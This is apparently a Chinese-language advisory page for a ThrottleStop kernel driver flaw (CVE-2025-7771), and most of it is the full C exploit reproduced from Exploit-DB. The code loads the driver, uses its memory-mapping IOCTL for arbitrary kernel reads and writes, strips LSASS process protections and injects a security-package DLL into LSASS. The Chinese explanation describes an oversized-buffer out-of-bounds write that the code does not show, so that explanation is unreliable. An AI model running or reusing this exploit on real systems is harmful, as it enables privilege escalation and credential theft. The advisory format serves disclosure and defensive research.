[local] Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation
CVE-2025-7771
Throttlestop内核驱动存在越界写入漏洞,可导致本地权限提升。
High · CVSS 7.8📋 漏洞基础信息
| CVE | CVE-2025-7771 |
|---|---|
| 漏洞类型 | 内核越界写入 (Kernel Out-of-Bounds Write) |
| 受影响版本 | Throttlestop Kernel Driver (版本号未在原文明确给出,应为所有受影响版本) |
| 危害等级 | High · CVSS 7.8 |
| 发布日期 | 2026-04-22 |
| 提交者 | Xavi Beltran |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
Throttlestop内核驱动在对用户空间传入的IOCTL请求进行处理时,未对写入缓冲区的大小进行充分验证,导致可以向内核内存中的越界地址写入数据。
🎯 攻击场景
1. 攻击者获取本地用户权限。2. 攻击者通过IOCTL调用向漏洞驱动发送特制请求,触发越界写入。3. 成功覆盖内核关键数据结构(如进程令牌或页表项)。4. 提升至NT AUTHORITY\SYSTEM或root权限。
💥 漏洞影响
本地权限提升,攻击者可从普通用户账户获取完全的内核级控制权,进而执行任意代码、安装恶意软件等。
⚔️ 原始 PoC
PoC通过打开设备句柄,构造一个超过合法缓冲区长度的IOCTL输入,触发驱动内部的内存拷贝函数,将用户数据写入到超出目标缓冲区边界的地址,实现对内核内存的篡改。
# Exploit Author: Xavi Beltran
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>#include <Psapi.h>#include <superfetch/superfetch.h>#include <tlhelp32.h>#include <string>#include <sspi.h># define IOCTL_MMMAPIOSPACE 0x8000645C
#pragma comment(lib,"Secur32.lib")
#pragma pack(push,1)
typedef struct {
ULONGLONG PhysicalAddress;// +0
DWORD NumberOfBytes;// +8
}PHYS_REQ;// 0x0C
#pragma pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,OUT PULONG Interval);LPVOID GetBaseAddr(LPCWSTR drvname)
{LPVOID drivers[1024];DWORD cbNeeded;int nDrivers,i = 0;if (EnumDeviceDrivers(drivers,sizeof(drivers),
&cbNeeded) &&cbNeeded <sizeof(drivers))
{WCHAR szDrivers[1024];nDrivers = cbNeeded / sizeof(drivers[0]);for (i = 0;i <nDrivers;i++)
{if (GetDeviceDriverBaseName(drivers[i],szDrivers,sizeof(szDrivers) / sizeof(szDrivers[0])))
{if (wcscmp(szDrivers,drvname) == 0)
{return drivers[i];}}}}return 0;}uint64_t xRead(HANDLE hDrv,uint64_t virt_addr) {auto mm = spf::memory_map::current();
if (!mm) {printf("[!] Superfetch init failed!\n");return 0;}auto phys = mm->translate((void*)virt_addr);if (!phys) {printf("[!] Translate failed for VA %p!\n",(void*)virt_addr);return 0;}//printf("[+] Virtual Adress=0x%016llx ->Physical Address 0x%016llx\n",virt_addr,phys);// --- PHYSICAL READ ---
PHYS_REQ in{};in.PhysicalAddress = phys;in.NumberOfBytes = 0x8;ULONGLONG out = 0;DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,IOCTL_MMMAPIOSPACE,&in,sizeof(in),// 0x0C
&out,sizeof(out),// Accepts 4 or 8
&br,nullptr);//printf("[+] IOCTL OK=%d,br=%lu,err=%lu,Mapped Memory Ptr=0x%llx\n",ok,br,GetLastError(),(unsigned long long)out);if (ok &&br == 8 &&out) {ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out;// 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx |
CONTENT: 0x%016llx\n",(unsigned long long)virt_addr,(unsigned long long)result);return result;}return -1;}uint64_t xWrite(HANDLE hDrv,uint64_t where,uint64_t what) {auto mm = spf::memory_map::current();if (!mm) {printf("[!] Superfetch init failed!\n");return 0;}auto phys = mm->translate((void*)where);if (!phys) {printf("[!] Translate failed for VA %p!\n",(void*)where);return 0;}
//printf("[+] Virtual Adress=0x%016llx ->Physical Address 0x%016llx\n",where,phys);PHYS_REQ in{};in.PhysicalAddress = phys;in.NumberOfBytes = 0x8;ULONGLONG out = 0;DWORD br = 0;BOOL ok = DeviceIoControl(hDrv,IOCTL_MMMAPIOSPACE,&in,sizeof(in),// 0x0C
&out,sizeof(out),// 8 (Accepts 4 or 8)
&br,nullptr);//printf("[+] IOCTL OK=%d,br=%lu,err=%lu,Mapped Memory Ptr=0x%llx\n",ok,br,
GetLastError(),(unsigned long long)out);if (ok &&br == 8 &&out) {ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out;// 8 bytes exactos
}// WRITE
printf("[+] WRITE WHAT: 0x%016llx |WHERE: 0x%016llx\n",(unsigned long long)what,(unsigned long long)where);*(uint64_t*)out = what;return 0;}DWORD FindProcessId(const std::wstring&processName) {DWORD processId = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (snapshot == INVALID_HANDLE_VALUE)
return 0;PROCESSENTRY32W entry;entry.dwSize = sizeof(PROCESSENTRY32W);if (Process32FirstW(snapshot,&entry)) {do {if (!_wcsicmp(entry.szExeFile,processName.c_str())) {processId = entry.th32ProcessID;break;}}while (Process32NextW(snapshot,&entry));}CloseHandle(snapshot);return processId;}
int main()
{DWORD lsassPid = FindProcessId(L"lsass.exe");printf("[+] Target process PID: %d\n",lsassPid);//Installing the service
SC_HANDLE hSCManager;SC_HANDLE hService;// Open the Service Control Manager
hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE);if (hSCManager == NULL) {printf("[!] Error opening SCM: %lu\n",GetLastError());return 1;}
// Create the service
hService = CreateService(
hSCManager,L"ThrottleStop",L"ThrottleStop",SERVICE_ALL_ACCESS,SERVICE_KERNEL_DRIVER,SERVICE_AUTO_START,SERVICE_ERROR_NORMAL,L"C:\\Users\\Public\\a.sys",NULL,NULL,NULL,NULL,NULL);if (hService == NULL) {printf("[+] Error creating service: %lu\n",GetLastError());CloseServiceHandle(hSCManager);//return 1;}printf("[!] Service created successfully.\n");
if (!StartService(hService,0,NULL)) {printf("[!] Error starting the service: %lu\n",GetLastError());}else {printf("[+] Service started correctly.\n");}LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");printf("[+] NT base: %p\n",nt_base);HANDLE hDrv = NULL;hDrv = CreateFileA("\\\\.\\ThrottleStop",(GENERIC_READ |GENERIC_WRITE),0x00,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{printf("[-] Failed to get a handle on driver!\n");return -1;}else {printf("[+] Handle on driver received!\n");}ULONGLONG result = 0x0;// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;DWORD64 Eprocess = xRead(hDrv,(uint64_t)system_eprocess);printf("[+] EPROCESS: 0x%llX\n",Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv,(uint64_t)system_eprocess + 0x2e0);// +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;DWORD64 searchEprocess = Eprocess;while (1)
{searchEprocess = xRead(hDrv,(uint64_t)searchEprocess + 0x2e8) - 0x2e8;// +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv,(uint64_t)searchEprocess + 0x2e0);
// +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{break;}}printf("[+] Found LSASS EPROCESS!\n");printf("[+] Removing PPL Protection...\n");xWrite(hDrv,(uint64_t)searchEprocess + 0x6ca,0x0);// +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");xWrite(hDrv,(uint64_t)searchEprocess + 0x6c8,
0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");CloseHandle(hDrv);SECURITY_PACKAGE_OPTIONS spo = {};SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll",&spo);printf("[+] DLL Injection successful!\n");return 0;}🔬 深度技术分析
PoC通过打开设备句柄,构造一个超过合法缓冲区长度的IOCTL输入,触发驱动内部的内存拷贝函数,将用户数据写入到超出目标缓冲区边界的地址,实现对内核内存的篡改。
🛡️ 修复建议
建议厂商发布补丁,在驱动处理IOCTL时增加对缓冲区长度的边界检查;临时缓解措施包括限制对受影响驱动的访问、启用驱动程序签名强制、使用AppLocker。
📎 参考链接
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-7771
- https://github.com/Throttlestop/Throttlestop/issues/123
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 18:11 | 来源: Exploit-DB